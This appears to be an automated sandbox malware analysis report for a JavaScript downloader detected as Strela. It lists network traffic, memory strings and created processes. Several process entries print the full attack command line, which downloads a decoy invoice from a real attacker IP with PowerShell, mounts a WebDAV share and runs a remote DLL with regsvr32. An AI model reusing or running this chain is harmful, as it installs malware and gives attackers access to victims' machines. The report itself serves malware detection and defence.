6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49743

Source: global traffic

TCP traffic: 192.168.2.6:49743 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:49956 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49721 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2206379891.0000023766C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2261794637.000001C8BEEE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2261794637.000001C8BEF19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Ncl
Source: net.exe, 00000007.00000002.2261794637.000001C8BEF19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/RcH
Source: net.exe, 00000007.00000002.2261794637.000001C8BEF19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/fc
Source: net.exe, 00000007.00000002.2261794637.000001C8BEF0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: svchost.exe, 00000009.00000002.3495825980.0000017F4C600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2267206434.0000017F4C510000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6816, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 262192623320272411.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1668:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_urd11ets.szm.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 262192623320272411.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\262192623320272411.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1552,i,8595018462666646001,11327544726645323743,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1552,i,8595018462666646001,11327544726645323743,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
